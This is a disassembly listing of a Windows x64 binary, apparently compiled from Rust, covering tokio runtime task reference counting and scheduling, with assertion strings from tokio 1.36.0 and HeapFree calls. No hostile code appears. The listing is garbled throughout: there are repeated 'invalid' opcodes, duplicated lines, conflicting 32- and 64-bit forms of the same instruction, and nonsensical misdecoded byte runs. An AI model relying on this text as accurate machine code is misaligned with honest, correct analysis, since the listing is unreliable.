adc dword [eax], eax
adc dword [eax], eax
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
mov eax, ebp
invalid
call 0x1a7579946
adc dword [rax], eax
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf8], xmm6
add byte [rax], al
add byte [rax], al
mov cl, 1
test al, al
je 0x140088d23
lea r14, [rsi + 0x20]
mov rax, qword [rsi]
lea rcx, [rsp + 0x40]
nop word [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
test al, 1
je 0x140088f87
test al, 0x20
jne 0x140088c30
xor al, 0x48
mov edx, eax
mov rdx, rax
and rdx, 0xffffffffffffffde
and edx, 0xffffffde
test al, 4
jne 0x140088c50
cmp rax, 0x3f
jbe 0x140088f6f
add rdx, 0xffffffffffffffc0
cmp rdx, 0x40
setb r8b
add r8b, r8b
jmp 0x140088c60
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov r8b, 3
mov r9, rcx
xor edx, edx
mov qword [r9], rdx
cmp dword [rsp + 0x40], 1
je case.0x14005714b.143
jmp case.0x14005714b.141
test rax, rax
js 0x140088f9f
add rdx, 0x40
mov r8b, 1
mov qword [rsp + 0x40], 1
mov r9, rbx
mov ecx, ebx
add byte [rax], al
add byte [rcx - 0x77], cl
mov ecx, ebx
mov ecx, ebx
mov qword [r9], rdx
cmp dword [rsp + 0x40], 1
jne case.0x14005714b.141
mov rdx, qword [rsp + 0x70]
lock cmpxchg qword [rsi], rdx
cmpxchg qword [rsi], rdx
cmpxchg qword [rsi], rdx
invalid
jne 0x140088bf0
movzx eax, r8b
lea rcx, [0x14019440c]
or eax, 0x10b77b
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
add eax, ecx
jmp rax
mov eax, 0xffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
rol dword [rsi], 0x48
cmp eax, 0x3f
jbe 0x140088fef
xchg byte [rbx + rax], dh
add byte [rax], al
and rax, 0xffffffffffffffc0
and eax, 0xffffffc0
cmp rax, 0x40
jne case.0x140088935.2
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx - 0x75], cl
invalid
mov rax, qword [r14]
lock dec qword [rax]
or byte [rbp + 8], dh
or byte [rbp + 8], dh
mov rcx, r14
call fcn.14002ded0
not byte [rcx - 6]
invalid
not byte [rcx - 6]
dec dword [rax - 0x77]
mov rcx, rdi
stc
jmp case.0x140059890.113
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
or byte [rbp + 9], dh
or byte [rbp + 9], dh
lea rcx, [rsi + 0x20]
call fcn.14002ded0
lea rcx, [rsi + 0x30]
call fcn.1400677d0
mov rax, qword [rsi + 0x70]
mov eax, dword [rsi + 0x70]
mov eax, dword [rsi + 0x70]
test rax, rax
je 0x140088d0b
mov rcx, qword [rsi + 0x78]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
clc
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x140088935.2
cmp cl, 2
stc
add dh, byte [rax + rbp*2 + 0x48]
je 0x140088d90
mov rbx, qword [rsi + 0x28]
je 0x140088d90
mov rbx, qword [rsi + 0x28]
movzx eax, cl
cmp eax, 1
je case.0x14006b64f.86
mov eax, dword [0x14019f30c]
shl byte [rbp + 0x11], cl
add byte [rbp + 0x48], ah
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
and eax, 0x58
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
invalid
add al, ch
mov byte [rdx + 6], 0
mov byte [r14 + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
jmp 0x140088d93
xorps xmm6, xmm6
test byte [rax - 0x77], 0xf9
mov rcx, rdi
call fcn.1400677d0
mov dword [rsi + 0x38], 0x3b9aca01
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
sub byte [rcx], al
add byte [rax], al
cmp eax, 2
je 0x140088e25
cmp eax, 1
je 0x140088df3
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
add byte [rax], al
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
add dword [rdi], 0x4234e800
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rcx
jmp 0x140088e28
xorps xmm6, xmm6
mov rcx, rdi
call fcn.1400677d0
mov dword [rsi + 0x38], 0x3b9aca00
mov qword [rsi + 0x40], 0
mov eax, dword [0x14019f30c]
adc dword fs:[rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140088eaa
add byte [rbx + 0x4c7402f8], al
cmp eax, 1
je 0x140088e90
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
invalid
add al, ch
xchg edi, eax
invalid
invalid
add dh, al
xchg dword [rax], ebp
add dword [rax], eax
add byte [rcx], al
invalid
mov eax, dword [0x14019f30c]
jbe 0x140088ef8
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
ror dword [rdi], 0x11
mov al, 0xf8
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call 0x14007eed0
movaps xmm6, xmmword [rsp + 0x90]
add byte [rax], al
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
mov ecx, dword [0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
jmp 0x140088a8d
lea rcx, str.assertion_failed:_next.is_notified__C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x140167e50]
mov edx, 0x24
call fcn.140122660
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401681b0]
mov edx, 0x26
call fcn.140122660
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x140167e90]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x140168170]
mov edx, 0x2f
call fcn.140122660
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x40]
call fcn.1401224d0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
test byte [rbx + 0x2f7401f8], 0xeb
pop rcx
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rcx, [rsi + 0x30]
call fcn.1400677d0
mov dword [rsi + 0x38], 0x3b9aca01
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008919f
cmp eax, 1
je 0x140089185
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14008922c
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x140089207
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x1400891ce
lea rcx, [rsi + 0x20]
call fcn.14002ded0
lea rcx, [rsi + 0x30]
call fcn.1400677d0
mov rax, qword [rsi + 0x70]
test rax, rax
je 0x1400891e7
mov rcx, qword [rsi + 0x78]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
mov eax, 0xffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14008955b
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400893b6
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x140089351
lea rcx, [rsi + 0x20]
call fcn.14002ded0
lea rcx, [rsi + 0x30]
call fcn.1400677d0
mov rax, qword [rsi + 0x70]
test rax, rax
je 0x14008936a
mov rcx, qword [rsi + 0x78]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax], al
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x1400893c3
invalid
invalid
xorps xmm6, xmm6
cmp eax, 1
je 0x1400893f0
jmp 0x14008941c
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
add byte [rax], al
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
sub dword [rax], 1
add byte [rax], al
invalid
sub dword [rax], 1
add byte [rax], al
add dword [rbx + 0x115f1605], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
invalid
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
clc
add byte [rax], al
add byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rdi
add byte [rax - 0x73], cl
jle 0x140089450
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.1400677d0
mov dword [rsi + 0x38], 0x3b9aca01
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
mov dh, 0x80
sub byte [rcx], al
add byte [rax], al
mov dh, 0x80
sub byte [rcx], al
add byte [rax], al
cmp eax, 2
je 0x1400894b2
add dh, byte [rsp + riz*2 - 0x7d]
clc
cmp eax, 1
je 0x140089480
add dword [rbp + rbp - 0x75], esi
add eax, 0x115eb3
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
add al, ch
cmpsd dword [rsi], dword [rdi]
cmp eax, dword [rsi]
add dh, al
sub dword [rax], 1
add byte [rax], al
invalid
add al, ch
cmpsd dword [rsi], dword [rdi]
cmp eax, dword [rsi]
add dh, al
sub dword [rax], 1
add byte [rax], al
add dword [rbx + 0x115e8605], ecx
add byte [rbp + 0x48], ah
mov rcx, qword [0x58]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
clc
add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
sub byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
clc
add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
sub byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
cwde
add byte [rcx], al
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x1400894b9
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.1400677d0
mov dword [rsi + 0x38], 0x3b9aca00
invalid
cmp ecx, dword [rax - 0x39]
add dword [rax], eax
add byte [rax], al
invalid
cmp ecx, dword [rax - 0x39]
add dword [rax], eax
add byte [rax], al
mov qword [rsi + 0x48], 0
mov qword [rsi + 0x58], rbx
add byte [rax - 0x77], cl
pop rsi
pop rax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140089547
cmp eax, 1
je 0x14008952d
mov eax, dword [0x14019f30c]
pop rsi
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
add byte [rax - 0x75], cl
cmp al, 0xc1
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
lea edx, [0x140100f70]
lea edx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
movups xmmword [rax + 0xf8], xmm6
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
xor byte [rbx + 0x5f], bl
xor byte [rbx + 0x5f], bl
pop rsi
jmp 0x14007eed0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
int3
add byte [rax], al
add byte [rax - 0x77], cl
invalid
ror dword [rax - 0x7d], 0xe1
clc
inc rcx
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x1400895e4
test al, 4
je 0x140089c3e
add byte [rax - 0x73], cl
ror byte [rax - 0x7d], 0xf9
setb dl
setb dl
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x1400895b9
movzx eax, dl
lea rcx, [0x14019441c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
jo 0x140089626
add byte [rax], al
add byte [rbx + 0xf0b307e], al
sub dword [rbx + 6], 0
add byte [rax - 0x73], cl
lea edi, [rsi + 0x30]
lea edi, [rsi + 0x30]
mov eax, dword [0x14019f30c]
pop rsp
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008980f
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x140089691
mov eax, dword [0x14019f30c]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
invalid
add al, ch
xchg edi, eax
cmp dword [rsi], eax
add byte [rcx - 0x3a], al
xchg byte [rax], ch
add dword [rax], eax
add byte [rcx], al
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
jmp 0x140089812
sub byte [rax], 1
add byte [rax], al
cmp eax, 2
je 0x140089745
mov rdi, qword [rsi + 0x28]
cmp eax, 1
invalid
je 0x140089717
add dword [rbp + rbp - 0x75], esi
add eax, 0x115c1c
adc dword [rax], eax
mov eax, dword [0x14019f30c]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea ecx, [rbx + 0xd8]
lea ecx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
add byte [rax], al
add byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rdi
jmp 0x140089748
xorps xmm6, xmm6
lea rdi, [rsi + 0x30]
mov rcx, rdi
stc
stc
call fcn.140068f70
mov qword [rsi + 0x30], 0xc
dec dword [rax - 0x39]
xor byte [rax + r8], r9b
add byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
add dword [rax], eax
invalid
ror dword [rdi], 0xb6
sub byte [rax], 1
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbx + 0x647402f8], al
cmp eax, 2
je 0x1400897df
cmp eax, 1
je 0x1400897ad
mov eax, dword [0x14019f30c]
pop rbx
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
fadd dword [rax]
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
cmp byte [rsi], al
add dh, al
sub dword [rax], 1
add byte [rax], al
invalid
cmp byte [rsi], al
add dh, al
sub dword [rax], 1
add byte [rax], al
add dword [rbx + 0x115b5905], ecx
add eax, 0x115b59
mov rcx, qword gs:[0x58]
mov eax, dword [0x14019f30c]
add eax, 0x115b59
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
clc
add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
sub byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
clc
add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
sub byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
cwde
add byte [rcx], al
invalid
mov qword [rax + 0x100], rbx
add dword [rax], eax
add bl, ch
invalid
add byte [rax], al
jmp 0x1400897e6
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068f70
idiv ebp
dec dword [rax - 0x39]
xor byte [rbx], r9b
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
idiv ebp
dec dword [rax - 0x39]
xor byte [rbx], r9b
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x50], rbx
jmp 0x140089b26
invalid
add eax, dword [rax]
invalid
invalid
xorps xmm6, xmm6
lea rbx, [rsp + 0x60]
lea ebx, [rsp + 0x60]
mov rcx, rdi
mov rdx, rbx
call fcn.14009e070
mov ecx, dword [0x14019f30c]
or eax, 0x115ae4
or eax, 0x115ae4
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x128]
cmp ecx, 2
add byte [rbx + 0x537402f9], al
je 0x140089894
cmp ecx, 1
je 0x140089878
mov ebp, eax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
fadd dword [rax]
add byte [rax], al
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
mov eax, ebp
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rdx, qword [0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf8], xmm6
add byte [rax], al
invalid
mov cl, 1
add byte [rax], al
add byte [rcx + 0xfc08401], dh
test byte [rbp + 1], ch
add byte [rax], al
test al, al
je 0x140089a09
lea r14, [rsi + 0x20]
mov rax, qword [rsi]
and byte [rax - 0x75], cl
invalid
mov eax, dword [rsi]
lea rcx, [rsp + 0x30]
nop dword [rax + rax]
test al, 1
je 0x140089c6e
add dword [rdi], ecx
test byte [rsi - 0x57fffffd], dh
and byte [rbp + 0x34], dh
invalid
test al, 0x20
jne 0x1400898f0
invalid
xor al, 0x48
mov edx, eax
mov rdx, rax
and rdx, 0xffffffffffffffde
loop 0x1400898a1
test al, 4
jne 0x140089910
cmp rax, 0x3f
invalid
jbe 0x140089c56
add rdx, 0xffffffffffffffc0
cmp rdx, 0x40
setb r8b
add r8b, r8b
jmp 0x140089920
mov r8b, 3
mov r9, rcx
xor edx, edx
mov qword [r9], rdx
cmp dword [rsp + 0x30], 1
je case.default.0x140089958
jmp 0x140089946
test byte [rax], al
add byte [rax], al
add byte [rax], al
test rax, rax
js 0x140089c86
add rdx, 0x40
mov r8b, 1
mov qword [rsp + 0x30], 1
mov r9, rbx
mov ecx, ebx
mov ecx, ebx
mov qword [r9], rdx
mov dword [rcx], edx
cmp dword [rsp + 0x30], 1
jne 0x140089946
mov rdx, qword [rsp + 0x60]
lock cmpxchg qword [rsi], rdx
cmpxchg dword [rsi], edx
cmpxchg dword [rsi], edx
invalid
jne 0x1400898b0
invalid
movzx eax, r8b
lea rcx, [0x14019442c]
fld xword [rdx + 0x63480010]
add al, 0x81
fld xword [rdx + 0x63480010]
add al, 0x81
add rax, rcx
jmp rax
and byte [rax - 0x7d], cl
rcl byte [rax], 0xc6
and al, 0x60
add dword [rax - 0x77], ecx
and al, 0x30
add eax, 0x10
mov byte [rsp + 0x60], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x38], esi
and al, 0x38
lea rax, [rsp + 0x60]
and al, 0x60
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x30]
and al, 0x30
and al, 0x30
xor al, ch
cmp ebx, dword [rbx - 0x38b7fff9]
invalid
add byte [rax - 0x39], cl
rol al, 0xff
invalid
call fcn.1401034c0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
xadd qword [rsi], rax
invalid
xadd qword [rsi], rax
rol dword [rsi], 0x48
cmp eax, 0x3f
cmp rax, 0x3f
jbe 0x140089cd6
and rax, 0xffffffffffffffc0
loopne 0x14008995f
cmp rax, 0x40
jne case.0x1400895f5.2
mov rax, qword [r14]
lock dec qword [rax]
dec qword [rax]
dec qword [rax]
jne 0x1400899ba
mov rcx, r14
int1
call fcn.1400caa30
mov rcx, rdi
jmp 0x1400899d6
lock dec qword [rax]
dec qword [rax]
jne 0x1400899d2
lea rcx, [rsi + 0x20]
lea ecx, [rsi + 0x20]
call fcn.1400caa30
lea rcx, [rsi + 0x30]
xor al, ch
add eax, 0x48ffff44
mov eax, dword [rsi + 0x1f8]
call fcn.14007dde0
mov rax, qword [rsi + 0x1f8]
test rax, rax
je 0x1400899f1
mov rcx, qword [rsi + 0x200]
call qword [rax + 0x18]
add al, byte [rax]
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
sar bh, cl
adc eax, 0xa5a3c
invalid
sar bh, cl
adc eax, 0xa5a3c
invalid
add cl, ch
jmp case.0x1400895f5.2
nop
add dword [rax], eax
add byte [rax + 0x687402f9], al
cmp cl, 2
je 0x140089a76
mov rbx, qword [rsi + 0x28]
movzx eax, cl
cmp eax, 1
je 0x140089a48
invalid
mov eax, dword cs:[0x14019f30c]
mov eax, dword [0x14019f30c]
add eax, 0x1158ec
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
mov ds, eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x77535
mov ds, eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x77535
call fcn.1400ed020
mov byte [r14 + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rbx
cwde
add byte [rcx], al
add byte [rax], al
jmp case.0x14006b166.74
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068f70
std
dec dword [rax - 0x39]
invalid
or al, 0
add byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
std
dec dword [rax - 0x39]
invalid
add byte [rax], al
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140089b0b
cmp eax, 1
je 0x140089ad9
invalid
sub eax, 0x585a058b
adc dword [rax], eax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rcx
jmp 0x140089b0e
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068f70
mov qword [rsi + 0x30], 0xb
xor byte [rbx], cl
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsi + 0x38], 0
xor byte [rbx], cl
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsi + 0x38], 0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov dword [rsi + 0x38], 0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140089b91
cmp eax, 1
je 0x140089b77
invalid
sub eax, 0x57bc058b
adc dword [rax], eax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
invalid
fadd dword [rax]
add byte [rax], al
lea rdx, [0x140100f70]
invalid
add al, ch
mov al, 0x34
invalid
add dh, al
xchg dword [rax], ebp
add dword [rax], eax
add byte [rcx], al
invalid
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
invalid
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, rsi
call 0x140080f40
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401681b0]
mov edx, 0x26
call fcn.140122660
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x140167e90]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x140168170]
mov edx, 0x2f
call fcn.140122660
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
